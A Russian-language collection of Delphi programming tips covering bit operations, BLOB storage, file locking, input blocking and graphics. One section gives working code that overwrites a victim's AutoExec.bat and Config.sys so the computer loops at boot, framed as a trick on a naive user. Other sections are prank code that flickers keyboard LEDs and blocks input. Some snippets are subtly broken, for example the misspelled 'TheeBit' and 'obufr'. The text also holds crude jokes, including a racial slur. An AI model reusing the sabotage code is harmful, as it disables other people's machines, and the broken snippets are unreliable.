 Параметр TheBit считается в пределах 0..31
 ******************************************}
 
 unit Bitwise;
 
 interface
 
 function IsBitSet(const val: longint; const TheBit: byte): boolean;
 function BitOn(const val: longint; const TheBit: byte): LongInt;
 function BitOff(const val: longint; const TheBit: byte): LongInt;
 function BitToggle(const val: longint; const TheBit: byte): LongInt;
 
 implementation
 
 function IsBitSet(const val: longint; const TheBit: byte): boolean;
 begin
   result := (val and (1 shl TheBit)) <> 0;
 end;
 
 function BitOn(const val: longint; const TheBit: byte): LongInt;
 begin
   result := val or (1 shl TheBit);
 end;
 
 function BitOff(const val: longint; const TheBit: byte): LongInt;
 begin
   result := val and ((1 shl TheBit) xor $FFFFFFFF);
 end;
 
 function BitToggle(const val: longint; const TheBit: byte): LongInt;
 begin
   result := val xor (1 shl TheeBit);
 end;
 
 end.
 




Битовые множества

Бит - это байт минус налоги.

В явном виде битовых множеств в языке Object Pascal нет. Но вместо этого можно использовать обычные множества, которые на самом деле и хранятся как битовые. Если множество вам нужно для проверки, установлен ли какой то бит в слове


 type
   PByteSet = ^TByteSet;
   TByteSet = set of Byte;
 var
   W: Word;
 ...
 { если бит 3 в слове W установлен, тогда ... }
   if 3 in PByteSet(@W)^ then ...
 ...
 

В Delphi 2.0 есть специальный класс TBitSet, который ведет себя как битовое множество.Для Delphi 1.0 вы можете написать такой класс самостоятельно.




Заставить мерцать индикаторы клавиш CapsLock, NumLock и ScrollLock


Негритос сидит перед компом... давит F6 - Enter и поет: "I like to move it, move it."

Представьте себе такую ситуацию: глупый пользователь включает тачку, а тут... светомузыка, индикаторы состояния клавиш то включатся, то погаснут... а если ещё каждую секунду проходит 500 тактов!!! Шутка, конечно злостная, но воспроизводится весьма легко.

Всё основывается на следующем коде:


 var
   KS: TKeyboardState;
 begin
   GetKeyboardState(KS);
   KS[020] := KS[020] xor 1;
   KS[144] := KS[144] xor 1;
   KS[145] := KS[145] xor 1;
   SetKeyboardstate(KS);
 




Блокировка и разблокировка перерисовки компонента


 procedure LockControl(c: TWinControl; bLock: Boolean);
 begin
   if (c = nil) or (c.Handle = 0) then Exit;
   if bLock then
     SendMessage(c.Handle, WM_SETREDRAW, 0, 0)
   else
   begin
     SendMessage(c.Handle, WM_SETREDRAW, 1, 0);
     RedrawWindow(c.Handle, nil, 0,
       RDW_ERASE or RDW_FRAME or RDW_INVALIDATE or RDW_ALLCHILDREN);
   end;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   LockControl(DBGrid1, True);
   try
     // do convoluted things to the grid 
   finally
     LockControl(DBGrid1, False);
   end;
 end;
 
 

Некоторые коммпаненты имеют встроенный методы BeginUpdate и EndUpdate;




BLOBFIELD как BITMAP

Сохраняем Bitmap в поле dbase с именем Icon. Icon представляет собой двоичное Blob-поле.


 procedure ....
 var IconStream : TMemoryStream;
 ..
 ..
 begin
 
 .
 .
 IconStream := TMemoryStream.Create;
 Image1.picture.icon.savetostream(IconStream);
 (Table1.fieldbyname('Icon') as TBlobField).LoadFromStream(IconStream);
 Table1.post;
 IconStream.Free;
 .
 .
 end;
 

** Читаем Bitmap в Timage из поля dbase с именем Icon.


 procedure .....
 var IconStream : TMemoryStream;
 ..
 ..
 begin
 
 .
 .
 IconStream := TMemoryStream.Create;
 (Table1.fieldbyname('Icon') as TBlobField).SaveToStream(IconStream);
 {что бы что-нибудь записать, необходимо установить позицию потока в ноль!}
 IconStream.Position := 0;
 appointment.iconimage.picture.icon.loadfromstream(iconstream);
 IconStream.Free;
 end;
 

Надеюсь это поможет, поскольку найти информацию в справочной системе по этой теме практически невозможно. Чтобы сделать это, я перепробовал множество способов. Я пробовал использовать TBlobField и TBlobStream, но они не смогли мне помочь (может быть из-за убогой документации borland?).




Связать поле BLOB таблицы Paradox с компонентом TRichEdit через потоки

Автор: Сергей Лагонский

Я сам занимался этой задачей и мое предыдущее письмо к Вам явилось результатом экспериментов над TRichEdit. Поэтому я хочу предложить Вам пример проэкта, в котором я связываю поле BLOB таблицы Paradox с компонентом TRichEdit через потоки. Кроме того я использую библиотеку ZLib из стандартного приложения к Delphi 3 CSS. Это позволяет по ходу перекачивания данных в таблицу сжимать текст, а при чтении - распаковывать его чем достигается уменьшение размера .MB-файла, что полезно при большом количестве записей с BLOB-полем.

В заключение хочу сказать несколько слов о библиотеке ZLib.dcu (размер 48496 байт, дата создания 24.03.97г.) которая включена в поставку Delphi 3. При использовании конструктора TDecompressStream почему-то генерировался Default Beep и это очень задерживало выполнение декомпрессии. По счастью в поставку входит и исходный текст ZLib.pas. Я перекомпилировал модуль с помощью тестового примера, также входящего в поставку, при этом указав в настройках проэкта не включать отладочную информацию. В результате размер ZLib.dcu стал равным 45681 байт, а сигнал генерироваться перестал.

Теперь о проэкте. Он имеет одну форму frmMain. Содержимое файлов проэкта привожу ниже. Для работы также необходима таблица Table.db, имеющая структуру:

	Имя поля	Тип	Размер
 	ID		+
 	BLOBData	B	64
и Alias с именем CBDB указывающий на каталог с этой таблицей.

Для упрощения размещения компонентов в форме проделайте следующее:

  1. Создайте новый проэкт;
  2. Скопируйте выделенную красным цветом часть файла Main.dfm в буфер обмена;
  3. Сделайте активной вновь созданную форму и вставте в нее содержимое буфера;
  4. Измените свойства самой формы в соответствии с нижеприведенным описанием.

 // Файл Main.dfm:
 
 object frmMain: TfrmMain
 
   Left = 476
     Top = 347
     BorderStyle = bsSingle
     Caption = 'Compressed BLOB'
     ClientHeight = 235
     ClientWidth = 246
     Font.Charset = DEFAULT_CHARSET
     Font.Color = clWindowText
     Font.Height = -11
     Font.Name = 'MS Sans Serif'
     Font.Style = []
     Position = poScreenCenter
     OnShow = FormShow
     PixelsPerInch = 96
     TextHeight = 13
     object SB1: TSpeedButton
     Left = 1
       Top = 209
       Width = 25
       Height = 25
       Hint = 'Добавить'
       Glyph.Data = {
     76010000424D7601000000000000760000002800000020000000100000000100
     04000000000000010000130B0000130B00001000000000000000000000000000
     800000800000008080008000000080008000808000007F7F7F00BFBFBF000000
     FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333
     33333333333FFFFFFFFF333333000000000033333377777777773333330FFFFF
     FFF03333337F333333373333330FFFFFFFF03333337F3FF3FFF73333330F00F0
     00F03333F37F773777373330330FFFFFFFF03337FF7F3F3FF3F73339030F0800
     F0F033377F7F737737373339900FFFFFFFF03FF7777F3FF3FFF70999990F00F0
     00007777777F7737777709999990FFF0FF0377777777FF37F3730999999908F0
     F033777777777337F73309999990FFF0033377777777FFF77333099999000000
     3333777777777777333333399033333333333337773333333333333903333333
     3333333773333333333333303333333333333337333333333333}
     NumGlyphs = 2
       ParentShowHint = False
       ShowHint = True
       OnClick = SB1Click
   end
   object SB2: TSpeedButton
     Left = 25
       Top = 209
       Width = 25
       Height = 25
       Hint = 'Удалить'
       Glyph.Data = {
     76010000424D7601000000000000760000002800000020000000100000000100
     0400000000000001000000000000000000001000000000000000000000000000
     8000008000000080800080000000800080008080000080808000C0C0C0000000
     FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333
     33333333333FFFFFFFFF333333000000000033333377777777773333330FFFFF
     FFF03333337F333333373333330FFFFFFFF03333337F3FF3FFF73333330F00F0
     00F033333F7F773777373333300FFFFFFFF03333F73FFF3FF3F733330C0F0800
     F0F0333F773F337737373330CC0FFFFFFFF033F777FFFFF3FFF7330CCCCC00F0
     00003F777777F737777730CCCCCC0FF0FF03F7777777FF37F3730CCCCCCC08F0
     F03377777777F337F73330CCCCCC0FF0033337777777FFF77333330CCCCC0000
     333333777777777733333330CC3333333333333777333333333333330C333333
     3333333377333333333333333033333333333333373333333333}
     NumGlyphs = 2
       ParentShowHint = False
       ShowHint = True
       OnClick = SB2Click
   end
   object SB3: TSpeedButton
     Left = 49
       Top = 209
       Width = 25
       Height = 25
       Hint = 'Редактировать'
       Glyph.Data = {
     76010000424D7601000000000000760000002800000020000000100000000100
     04000000000000010000120B0000120B00001000000000000000000000000000
     800000800000008080008000000080008000808000007F7F7F00BFBFBF000000
     FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333000000
     000033333377777777773333330FFFFFFFF03FF3FF7FF33F3FF700300000FF0F
     00F077F777773F737737E00BFBFB0FFFFFF07773333F7F3333F7E0BFBF000FFF
     F0F077F3337773F3F737E0FBFBFBF0F00FF077F3333FF7F77F37E0BFBF00000B
     0FF077F3337777737337E0FBFBFBFBF0FFF077F33FFFFFF73337E0BF0000000F
     FFF077FF777777733FF7000BFB00B0FF00F07773FF77373377373330000B0FFF
     FFF03337777373333FF7333330B0FFFF00003333373733FF777733330B0FF00F
     0FF03333737F37737F373330B00FFFFF0F033337F77F33337F733309030FFFFF
     00333377737FFFFF773333303300000003333337337777777333}
     NumGlyphs = 2
       ParentShowHint = False
       ShowHint = True
       OnClick = SB3Click
   end
   object SB4: TSpeedButton
     Left = 73
       Top = 209
       Width = 25
       Height = 25
       Hint = 'Отменить редактирование'
       Glyph.Data = {
     DE010000424DDE01000000000000760000002800000024000000120000000100
     0400000000006801000000000000000000001000000000000000000000000000
     80000080000000808000800000008000800080800000C0C0C000808080000000
     FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333
     333333333333333333333333000033338833333333333333333F333333333333
     0000333911833333983333333388F333333F3333000033391118333911833333
     38F38F333F88F33300003339111183911118333338F338F3F8338F3300003333
     911118111118333338F3338F833338F3000033333911111111833333338F3338
     3333F8330000333333911111183333333338F333333F83330000333333311111
     8333333333338F3333383333000033333339111183333333333338F333833333
     00003333339111118333333333333833338F3333000033333911181118333333
     33338333338F333300003333911183911183333333383338F338F33300003333
     9118333911183333338F33838F338F33000033333913333391113333338FF833
     38F338F300003333333333333919333333388333338FFF830000333333333333
     3333333333333333333888330000333333333333333333333333333333333333
     0000}
     NumGlyphs = 2
       ParentShowHint = False
       ShowHint = True
       OnClick = SB4Click
   end
   object P1: TPanel
     Left = 0
       Top = 0
       Width = 246
       Height = 206
       BevelInner = bvRaised
       BevelOuter = bvLowered
       BevelWidth = 2
       TabOrder = 0
       object RE: TRichEdit
       Left = 5
         Top = 5
         Width = 236
         Height = 196
         ScrollBars = ssVertical
         TabOrder = 0
     end
   end
   object DBN: TDBNavigator
     Left = 149
       Top = 209
       Width = 96
       Height = 25
       DataSource = DS
       VisibleButtons = [nbFirst, nbPrior, nbNext, nbLast]
       TabOrder = 1
   end
   object T1: TTable
     Active = True
       DatabaseName = 'CBDB'
       TableName = 'table.db'
       Left = 5
       Top = 5
       object T1ID: TAutoIncField
       FieldName = 'ID'
         Visible = False
     end
     object T1BLOBData: TBlobField
       FieldName = 'BLOBData'
         Visible = False
         BlobType = ftBlob
         Size = 64
     end
   end
   object OD: TOpenDialog
     DefaultExt = 'rtf'
       Filter = 'RTF-файлы|*.rtf|Все файлы|*.*'
       Title = 'Выберите файл'
       Left = 5
       Top = 35
   end
   object DS: TDataSource
     DataSet = T1
       OnDataChange = DSDataChange
       Left = 35
       Top = 5
   end
 end
 
 // Файл Main.pas:
 
 unit Main;
 
 interface
 
 uses
 
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   Db, DBTables, StdCtrls, ComCtrls, ExtCtrls, DBCtrls, Buttons, swDBPanl,
   swRecPos;
 type
 
   TfrmMain = class(TForm)
     T1: TTable;
     T1ID: TAutoIncField;
     T1BLOBData: TBlobField;
     OD: TOpenDialog;
     P1: TPanel;
     SB1: TSpeedButton;
     SB2: TSpeedButton;
     SB3: TSpeedButton;
     SB4: TSpeedButton;
     DS: TDataSource;
     DBN: TDBNavigator;
     procedure SB1Click(Sender: TObject);
     procedure SB2Click(Sender: TObject);
     procedure SB3Click(Sender: TObject);
     procedure SB4Click(Sender: TObject);
     procedure DSDataChange(Sender: TObject; Field: TField);
     procedure FormShow(Sender: TObject);
   private
     EF: boolean;
     procedure SetButtons;
     procedure UpdateEditor;
     procedure StoreFromFile;
     procedure StoreFromEditor;
   public
     { Public declarations }
   end;
 
 var
   frmMain: TfrmMain;
 
 implementation
 uses ZLib;
 
 {$R *.DFM}
 
 const
   LID: longint = 0;
 
 procedure TfrmMain.SetButtons;
 var
   c1: boolean;
 begin
   c1 := T1.RecordCount > 0;
 
   SB2.Enabled := not EF and c1;
   SB3.Enabled := not EF and c1;
   SB4.Enabled := EF;
 end;
 
 procedure TfrmMain.UpdateEditor;
 var
   Buf: TStream;
 
   ZStream: TCustomZLibStream;
   id: longint;
 begin
 
   id := T1ID.AsInteger;
   if (id = LID) and not EF then
     exit
   else
     LID := id;
   Buf := TMemoryStream.Create;
   T1BLOBData.SaveToStream(Buf);
   if Buf.Size > 0 then
   begin
     ZStream := TDecompressionStream.Create(Buf);
     RE.Lines.LoadFromStream(ZStream);
     ZStream.Free;
   end
   else
     RE.Lines.Clear;
   Buf.Free;
 end;
 
 procedure TfrmMain.StoreFromFile;
 var
   InFile, Buf: TStream;
 
   ZStream: TCustomZLibStream;
 begin
 
   if not OD.Execute then
     exit;
   T1.AppendRecord([NULL]);
   InFile := TFileStream.Create(OD.FileName, fmOpenRead);
   Buf := TMemoryStream.Create;
   ZStream := TCompressionStream.Create(clMax, Buf);
   ZStream.CopyFrom(InFile, 0);
   ZStream.Free;
   T1.Edit;
   T1BLOBData.LoadFromStream(Buf);
   T1.Post;
   Buf.Free;
   InFile.Free;
   LID := 0;
   UpdateEditor;
 end;
 
 procedure TfrmMain.StoreFromEditor;
 var
   InStream, Buf: TStream;
 
   ZStream: TCustomZLibStream;
 begin
 
   InStream := TMemoryStream.Create;
   Buf := TMemoryStream.Create;
   RE.Lines.SaveToStream(InStream);
   ZStream := TCompressionStream.Create(clMax, Buf);
   ZStream.CopyFrom(InStream, 0);
   ZStream.Free;
   T1.Edit;
   T1BLOBData.LoadFromStream(Buf);
   T1.Post;
   UpdateEditor;
 end;
 
 procedure TfrmMain.SB1Click(Sender: TObject);
 begin
 
   if EF then
   begin
     StoreFromEditor;
     RE.ReadOnly := true;
     DBN.Enabled := true;
     EF := false;
     SB1.Hint := 'Добавить';
   end
   else
     StoreFromFile;
   SetButtons;
 end;
 
 procedure TfrmMain.SB2Click(Sender: TObject);
 begin
 
   if MessageDlg('Удалять запись?', mtConfirmation, [mbYes, mbNo], 0) = mrYes
     then
   begin
     T1.Delete;
     SetButtons;
   end;
 end;
 
 procedure TfrmMain.SB3Click(Sender: TObject);
 begin
 
   DBN.Enabled := false;
   EF := true;
   SB1.Hint := 'Внести изменения';
   RE.ReadOnly := false;
   SetButtons;
 end;
 
 procedure TfrmMain.SB4Click(Sender: TObject);
 begin
 
   UpdateEditor;
   DBN.Enabled := true;
   EF := false;
   SB1.Hint := 'Добавить';
   RE.ReadOnly := true;
 end;
 
 procedure TfrmMain.DSDataChange(Sender: TObject; Field: TField);
 begin
   if assigned(frmMain) and Visible and not EF then
 
   begin
     UpdateEditor;
     SetButtons;
   end;
 end;
 
 procedure TfrmMain.FormShow(Sender: TObject);
 begin
 
   EF := false;
   SetButtons;
   DSDataChange(nil, nil);
 end;
 
 end.
 
 // Файл CompBLOB.dpr:
 
 program CompBLOB;
 uses
 
   Forms,
   Main in 'Main.pas' {frmMain};
 
 {$R *.RES}
 
 begin
 
   Application.Initialize;
   Application.CreateForm(TfrmMain, frmMain);
   Application.Run;
 end.
 




Interbase BLOB-поля

InterBase BLOB-поля отличаются от полей другого типа. Реально BLOB-поле имеет несколько подтипов (sub-type). Знание подтипа BLOB-поля существенно при создании приложения для работы с базами данных, которые включают в себя InterBase BLOB-поля. BLOB-поля могут быть трех подтипов: подтип 0, подтип 1 (два встроенных подтипа), и пользовательский подтип.

Подтип 0 BLOB-поля создается при выполнении команды CREATE, когда подтип не определен. Для ясности, в синтаксисе SQL все же рекомендуется явно указывать, что BLOB-поле относится к подтипу 0. Данный подтип BLOB-поля используется для хранения бинарных данных. InterBase не производит никакого анализа хранимых данных, он просто хранит данные в BLOB-поле байт-за-байтом. Наиболее частое применение BLOB-полей в приложениях Windows - хранение двоичных данных изображения, обычно отображаемое впоследствие компонентом TDBImage. Для этой цели подходит или BLOB-поле подтипа 0, или BLOB-поле пользовательского подтипа.

Второй встроенный подтип - 1. Данный подтип BLOB-поля разрабатывался для хранения текста. Обычно это данные свободного формата типа memo или заметок, отображаемых и редактируемых компонентом TDBMemo. Данный подтип BLOB-поля лучше подходит для хранения данных типа текст, чем поле, имеющее тип VARCHAR, поскольку, в отличие от поля типа VARCHAR, в режиме проектирования возможно задание ограничения по используемой областью памяти.

С помощью SQL-синтаксиса, подтип 1 BLOB-поля создается с указанием типа BLOB-поля, использованием ключевого слова SUB_TYPE и числа, указывающего на номер необходимого подтипа:

  CREATE TABLE WITHBLOB
   (
     ID CHAR(3) NOT NULL PRIMARY KEY,
     MEMO BLOB SUB_TYPE 1,
     AMOUNT NUMERIC
   )
 
Помимо двух встроенных подтипов BLOB-поля, существует также подтип, определяемый пользователем. Такой подтип задается отрицательным целым значением совместно с ключевым словом SUB_TYPE. Фактически учитывается только "отрицательность" целого числа, его значение может быть произвольным и остается на усмотрение того, кто создает таблицу. Указание числа -1 идентично указанию числа -2. Единственная рекомендация для использования подтипа, определяемого пользователем - гарантия того, что в каждой строке таблицы BLOB-поле будет иметь только данный подтип, определяемый пользователем. InterBase не имеет критерия для оценки хранимого подтипа, поэтому вся ответственность по определению подходящего типа двоичных данных ложится на приложение. Никакой ошибки со стороны InterBase при загрузке неверного типа двоичных данных в пользовательский подтип BLOB-поля быть не может, но приложение может столкнуться с трудностями, если оно ожидает один тип данных, но ей передают другой.

BLOB-поле пользовательского подтипа может создаваться следующим синтаксисом SQL:

   CREATE TABLE IMAGE_DATA
   (
     FILENAME CHAR(12) NOT NULL PRIMARY KEY,
     BITMAP BLOB SUB_TYPE -1,
     EXEs BLOB SUB_TYPE -2,
   )
При пользовании таблицей, созданной с помощью приведенной выше команды, поле BITMAP может использоваться для хранения одного типа двоичных данных для всех записей. В нашем случае хранятся данные изображения. Поле EXEs подразумевает хранение выполнимых файлов, загружаемых с диска. Если приложение, использующее данную таблицу, по ошибке сохранит двоичные данные в поле BITMAP вместо EXEs, InterBase ошибки не выдаст, но приложение при этом столкнется с серьезными трудностями при отображении в компоненте TDBImage сохраненного выполнимого файла.

InterBase BLOB-поля и Delphi

При определении объектов TField для InterBase BLOB-полей в Delphi, следует относить различные подтипы BLOB-поля к производным типам TField следующим образом:

   Подтип 0:         TBlobField
   Подтип 1:         TMemoField
   Пользовательский: TBlobField
Поскольку, как встроенный подтип 0, так и пользовательский подтип, относятся к объектам TBlobField, то забота об определении используемого подтипа во время проектирования приложения ложится на программиста. Единственный способ отличить подтип 0 от пользовательского подтипа заключается в просмотре информации о метаданных таблицы, что не может быть сделано с помощью Delphi. Для просмотра метаданных таблицы может быть использована утилита Local InterBase Server под названием WISQL.

InterBase BLOB-поля и Database Desktop

Утилита Database Desktop, поставляемая с Delphi (DBD), не создает пользовательские подтипы. При создании в Database Desktop BLOB-полей для хранения бинарных данных, включая данные изображения, используйте тип поля "BLOB". Этим вы создадите BLOB-поле встроенного подтипа 0.

В DBD также возможно создание BLOB-поля типа TEXT BLOB. Это эквивалент встроенного подтипа 1 и может использоваться для хранения текста свободного формата. Так как он только функционален встроенному подтипу 1 BLOB-поля, то при просмотре таблицы утилитой WISQL, обозначение его подтипа может отличаться от действительного.




Сохранение и чтение файлов в BLOB-полях


 // Сохраняем
 procedure TForm1.Button1Click(Sender: TObject);
 var
   blob: TBlobStream;
 begin
   blob := yourDataset.CreateBlobStream(yourDataset.FieldByName('YOUR_BLOB'), bmWrite);
   try
     blob.Seek(0, soFromBeginning);
     fs := TFileStream.Create('c:\your_name.doc', fmOpenRead or
       fmShareDenyWrite);
     try
       blob.CopyFrom(fs, fs.Size)
     finally
       fs.Free
     end;
   finally
     blob.Free
   end;
 end;
 
 // Загружаем
 procedure TForm1.Button1Click(Sender: TObject);
 var
   blob: TBlobStream;
 begin
   blob := yourDataset.CreateBlobStream(yourDataset.FieldByName('YOUR_BLOB'), bmRead);
   try
     blob.Seek(0, soFromBeginning);
 
     with TFileStream.Create('c:\your_name.doc', fmCreate) do
       try
         CopyFrom(blob, blob.Size)
       finally
         Free
       end;
   finally
     blob.Free
   end;
 end;
 




Доступ к заблокированным файлам

Автор: http://sunsb.dax.ru

Windows блокирует ПОЛНЫЙ доступ ко многим файлам, которые в данный момент использует система. К таким файлам относятся выполняемые программы, используемые библиотеки, шрифты и т.д. При поиске вирусов, к примеру, эти файлы представляют наибольший интерес.

Обдурить Windows и получить доступ к этим файлам крайне просто - нужно открывать их в режиме ReadOnly.

В Delphi за режим открытия файлов отвечает системная переменная FileMode. Boзможные значения:

 	0	Read only
 	1	Write only
 	2	Read/Write
 

По умолчанию FileMode==2, поэтому открытие заблокированых файлов нарывается на неприятность. При доступе ReadOnly доступ блокируется только д так что этот случай приходится контролировать отдельно.

В общем случае, если Вы хотите лазить по всем файлам подряд - применима следующая последовательность действий.


 program pfileMode;
 {$APPTYPE CONSOLE}
 uses SysUtils;
 
 var
   oldFM: integer;
 var
   SR: TSearchRec;
 
 begin
   if FindFirst('C:\*.*', faAnyFile, SR) = 0 then
     repeat
       try
         oldFM := FileMode;
         FileMode := 0;
         WriteLn(SR.Name);
         //работаем с файлом
       finally
         FileMode := oldFM;
       end;
     until FindNext(SR) < > 0;
   FindClose(SR);
   readLn;
 end.
 




BlockRead и текстовый файл

Автор: Dennis Passmore

Следующий код демонстрирует использование нетипизированного входного файла для блочного чтения (blockread) текстового файла, сканирование входного буфера в поисках любого символа и их замены на символы перевода строки и возврата каретки. Поскольку код использует входные и выходные буфера размером 16к, то получаемая скорость весьма приемлема.

Примечание: В процессе обработки, если длина строки выходного файла превышает 255 символов и вы хотите прочесть ее с помощью ReadLn, то просто используйте в запросе ReadLn несколько строк, например так:


 ReadLn(infile,string1,string2);
 

Так можно прочесть вплоть до 510 символьных строк с 1-й по 255 символ в string1 и остальное в string2;


 program fixfile; { Компилируем из DOS-приглашения:  DCC FIXFILE.PAS }
 uses { запускаем из File Manager }
   sysutils, dialogs, forms;
 
 type
   bufptr = obufr;
   iobufr = array[0..16384] of char;
 
 var
   infile: file;
   oufile: textfile;
   inbufr,
     oubufr: bufptr;
 
   idx: integer;
   bytesread: integer;
   bytes2read: integer;
 
   totalbytesread: longint;
   actualfilesize: longint;
 
   OpenDialog1: TOpenDialog;
 
   infilename,
     oufilename: string;
 
 begin
 
   infilename := '';
   OpenDialog1 := TOpenDialog.Create(Application);
 
   OpenDialog1.Options := [];
   OpenDialog1.Filter := 'Все файлы|*.*';
   OpenDialog1.FilterIndex := 1;
   OpenDialog1.Title := 'Укажите исходный файл для преобразования';
   if OpenDialog1.execute then
     infilename := OpenDialog1.filename;
 
   if infilename = '' then
   begin
     OpenDialog1.free;
     halt;
   end;
 
   OpenDialog1.Title := 'Укажите имя создаваемого целевого файла';
   if OpenDialog1.execute then
     oufilename := OpenDialog1.filename;
 
   OpenDialog1.free;
 
   if oufilename = '' then
     halt;
 
   if infilename = oufilename then
     halt;
 
   new(inbufr);
   new(oubufr);
 
   assignfile(infile, infilename);
   reset(infile, 1);
   actualfilesize := filesize(infile);
 
   assignfile(oufile, oufilename);
   system.settextbuf(oufile, oubufr^);
   rewrite(oufile);
 
   totalbytesread := 0;
   bytesread := 0;
   bytes2read := 0;
 
   while (totalbytesread < actualfilesize)
     and (bytes2read = bytesread) and (IOresult = 0) do
   begin
     if (actualfilesize - totalbytesread) > sizeof(inbufr^) then
       bytes2read := sizeof(inbufr^)
     else
       bytes2read := actualfilesize - totalbytesread;
 
     blockread(infile, inbufr^, bytes2read, bytesread);
 
     totalbytesread := totalbytesread + bytesread;
     for idx := 0 to bytesread do
       if inbufr^[idx] = '''' then { <= преобразуемый символ }
         writeln(oufile)
       else
         write(oufile, inbufr^[idx]);
   end;
 
   closefile(infile);
   closefile(oufile);
 
   dispose(inbufr);
   dispose(oubufr);
 
 end.
 




Как заблокировать ввод

Автор: Andrew Pastushenko

А руки сами тянутся к Reset'у

Вот недокументированная функция из User32.dll, которая блокирует ввод (мышь, клавиатуру кроме Ctrl+Alt+Del). При нажатии Ctrl+Alt+Del все разблокируется :-(


 procedure BlockInput; external 'user32.dll';
 

Передаем параметры в стек вручную через push, иначе что-то глючит:

1 - заблокировать
0 - разблокировать


 procedure Block;
 asm
   push 1
   call BlockInput
 end;
 
 procedure UnBlock;
 asm
   push 0
   call BlockInput
 end;
 




Заблокировать вход в систему


Бл@дь - это женщина, в которую можно войти под любым логином.

Вы когда-нибудь видели меню в DOS'е? Ну, например, то самое, которое появляется по нажатию на F8 до загрузки Windows. А представьте себе, если у вас оно будет появляться без всяких нажатий на клавиши, да ещё и пункты меню будут с заданными вами заголовками, ну, и, наконец, если не по одному из пунктов меню вы не сможете загрузить Windows...

Для этого нам понадобятся два системных файла, умение делать копию в буфер обмена (дабы не писать тот код, что я вам сейчас покажу) и ламерюга, на котором вы бы хотели всё это испытать.

Ну, за последним дело не постоит, а сначала нужно сделать следующее:

  1. Выносим компонент класса TMemo - это большое текстовое поле (мы уже учились использовать переменные для взаимодействия с файлами, когда выводили сообщение во время загрузки системы, теперь будем использовать компоненты).
  2. По созданию окна пишем:

 procedure TForm1.FormCreate(Sender: TObject);
 begin
   with Memo1.Lines do
   begin
     Clear;
     LoadFromFile('C:\AutoExec.bat');
     Insert(3,'goto %config%');
     Insert(4,':FuckSystem');
     Append('beep');
     Append('goto FuckSystem');
     Append(':HackSystem');
     Append('beep');
     Append('goto HackSystem');
     Append(':exit');
     SaveToFile('C:\AutoExec.bat');
 
     Clear;
     LoadFromFile('C:\Config.sys');
     Append('[menu]');
     Append('menuitem=HackSystem, HackSystem');
     Append('menuitem=FuckSystem, FuckSystem');
     Append('[FuckSystem]');
     Append('[HackSystem]');
     SaveToFile('C:\Config.sys');
   end;
 end;
 

Мы использовали два системных файла. Это AutoExec.bat и Config.sys. В текстовое поле по имени Memo1 поочерёдно помещаем содержимое файлов с помощью метода LoadFromFile и добавляем нужный код. В конфиге мы создаём меню, которое будет отображать при загрузке системы. Состоять оно будет из двух пунктов: HackSystem и FuckSystem. А в автоэкзэке описываем, что по нажатию на том или ином пункте меню машина будет зацикливаться... т.е. глупый пользователь, взяв один из пунктов меню будет сидеть и ждать, пока не запустится Windows, любуясь на заставку маст-дая с облачками и остальными причиндалами. Ему не в жизнь не догадаться нажать Esc, а если нажмёт, то то, что он увидит... м-да... лучше сто раз увидеть, чем один раз заиметь...




Блокировка файла

...действительно, когда вы запрашиваете о блокировке файла и прерывания DOS, это относится к блокировке записи. Если вы хотите иметь полностью монопольный доступ к файлу, то в этом случае вы должны воспользоваться переменной FileMode. Вот пример кода моей программы, где я использую эту переменную:


 type
   FileShareType = (DenyCompatibility, DenyAll, DenyWrite, DenyRead, DenyNone);
   FileAccessType = (ReadOnly, WriteOnly, ReadWrite);
 
 procedure SetFileAccess(AccessMode: FileAccessType; ShareMode: FileShareType);
 { Устанавливаем режим доступа к файлу для следующего вызова открытия файла }
 begin
   FileMode := ord(AccessMode) or (ord(ShareMode) shl 4)
 end;
 




Блокируется таблица в MS SQL Server

Автор: Nomadic

По умолчанию, оператор UPDATE в MS SQL Server пытается поставить эксклюзивную табличную блокировку. Вы можете обойти это, используя ключевое слово FROM в сочетании с опцией PAGLOCK для использования MS SQL Server страничных блокировок вместо эксклюзивной табличной блокировки:

UPDATE orders SET customer_id=NULL FROM orders(PAGLOCK) WHERE customer_id=32;

Блокиpовка на всю таблицу пpи UPDATE ставится только в том случае, если по пpедикату нет индекса. Так, можно пpосто пpоиндексиpовать таблицу orders по полю customer_id, и не забывать делать UPDATE STATISTIC, хотя будет работать и с PAGLOCK. Просто не факт, что UPDATE всегда делает табличную блокировку.




Размыть изображение

В этом способе цвету каждой точки присваивается среднее значение цветов соседних точек.


 procedure TForm1.Button1Click(Sender: TObject);
 const
   width = 100;
   height = 60;
   d = 2;
 var
   x, y: integer;
   i, j: integer;
   c: integer;
   Pix: array [0..width-1, 0..height-1] of byte;
 begin
   randomize;
   with Form1.Canvas do
   begin
     Font.name := 'Arial';
     Font.Size := 30;
     TextOut(d, d, 'Text');
     for y := 0 to height - 1 do
       for x := 0 to width - 1 do
         Pix[x,y] := GetRValue(Pixels[x,y]);
     for y := d to height - d - 1 do
     begin
       for x := d to width - d - 1 do
       begin
         c := 0;
         for i := -d to d do
           for j := -d to d do
             c := c + Pix[x+i,y+j];
         c := round(c / sqr(2 * d + 1));
         Pixels[x,y] := RGB(c, c, c);
       end;
       Application.ProcessMessages;
     end;
   end;
 end;
 




Как копировать и вставлять Bitmap через буфер обмена


 function CopyClipToBuf(DC: HDC; Left, Top,
            Width, Height: Integer;  Rop: LongInt;
            var CopyDC: HDC;
            var CopyBitmap: HBitmap): Boolean;
 
 var
   TempBitmap: HBitmap;
 
 begin
   Result := False;
   CopyDC := 0;
   CopyBitmap := 0;
   if DC <> 0 then
     begin
       CopyDC := CreateCompatibleDC(DC);
       if CopyDC <> 0 then
         begin
           CopyBitmap := CreateCompatibleBitmap(DC,
                           Width, Height);
           if CopyBitmap <> 0 then
             begin
               TempBitmap := CopyBitmap;
               CopyBitmap := SelectObject(CopyDC,
                               CopyBitmap);
               Result := BitBlt(CopyDC, 0, 0,
                           Width, Height, DC,
                           Left, Top, Rop);
               CopyBitmap := TempBitmap;
             end;
         end;
     end;
 end;
 
 function CopyBufToClip(DC: HDC; var CopyDC: HDC;
            var CopyBitmap: HBitmap;
            Left, Top, Width, Height: Integer;
            Rop: LongInt; DeleteObjects: Boolean): Boolean;
 
 var
   TempBitmap: HBitmap;
 
 begin
   Result := False;
   if (DC <> 0) and
      (CopyDC <> 0) and
